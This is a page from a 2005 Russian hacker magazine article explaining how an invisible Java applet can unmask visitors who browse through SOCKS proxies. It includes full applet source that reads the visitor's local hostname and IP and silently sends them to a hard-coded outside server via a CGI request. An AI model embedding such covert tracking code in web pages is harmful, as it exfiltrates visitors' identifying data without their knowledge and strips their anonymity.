Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #80, АВГУСТ 2005 г.

Разговорчивый осел

Докучаев Дмитрий aka Forb

Хакер, номер #080, стр. 080-048-3


[java – источник зла]

Но JavaScript может нанести копеечный урон по сравнению с тем, на что способна дочка Sun Microsystems — Java. Если ты до сих пор разрешаешь загрузку любых ява-апплетов, то тебе стоит задуматься нам собственной безопасностью. Ведь существуют достаточно простые наработки, позволяющие узнать твой реальный IP-адрес, даже если ты работаешь через цепочку socks-серверов.

На самом деле, механизм определения айпишника прост до безумия. Реализовать этот прием тебе не помешает даже тот факт, что ты ничего не смыслишь в программировании на Java :). Основная идея заключается в том, чтобы включить в страницу шпионского сайта невидимый апплет, который, при помощи стандартного сетевого компонента java.net, создаст сокет с твоим узлом и вызовет выполнение скрипта, который запишет в лог IP-адрес клиента.

Совершенно понятно, что это будет именно реальный IP-адрес, поскольку байт-код java-приложения выполняется виртуальной машиной и, разумеется, подключение будет реализовано напрямую, без использования проксиков, указанных в настройках браузера.

Такой фокус вполне можно использовать даже для организации антифродовой системы. Представим на секунду, будто бы негодяйский взломщик пытается обмануть на пару тысяч долларов американский интернет-магазин. Как полагается, он заходит через цепочку socks-серверов на сайт е-шопа и приступает к своему черному делу. В процессе вбивания левых данных наш герой не обращает внимание, что на одной из страниц загрузился невидимый java-апплет, который и выдал админам всю информацию о его реальном IP. Помимо этого трюка, с помощью стандартных методов java вполне реально узнать и ip-адрес локального интерфейса клиента.

Скажем, если пользователь работает в локальной сети и сидит в инете через NAT, то при помощи первого способа ты получишь внешний ip его шлюза. Но оказывается, что возможно получить и адрес локального интерфейса: делается это при помощи стандартного метода InetAddress.getLocalHost().

Чтобы не быть голословным я приведу пример кода, который подключается напрямую к web-серверу и выполняет там CGI-сценарий, передавая ему в качестве параметра адрес локального интерфейса и имя компьютера:

[java-апплет для определения реального IP]

import java.applet.Applet;

import java.awt.*;

import java.io.*;

import java.net.*;

public class te extends Applet {

Socket sock;

DataInputStream in;

String res;

InetAddress l_ip;

String s_ip;

public void init() {

try {

l_ip = InetAddress.getLocalHost();

s_ip=l_ip.toString();

Socket sock = new Socket("217.10.40.71", 80);

PrintStream printstream = new PrintStream(sock.getOutputStream());

printstream.println("GET /script.pl?ip=" + s_ip + "\n\r\n\r");

in = new DataInputStream(sock.getInputStream());

res = in.readLine();

printstream.close();

sock.close();

} catch (IOException e) {}

}}

Назад на стр. 080-048-2  Содержание  Вперед на стр. 080-048-4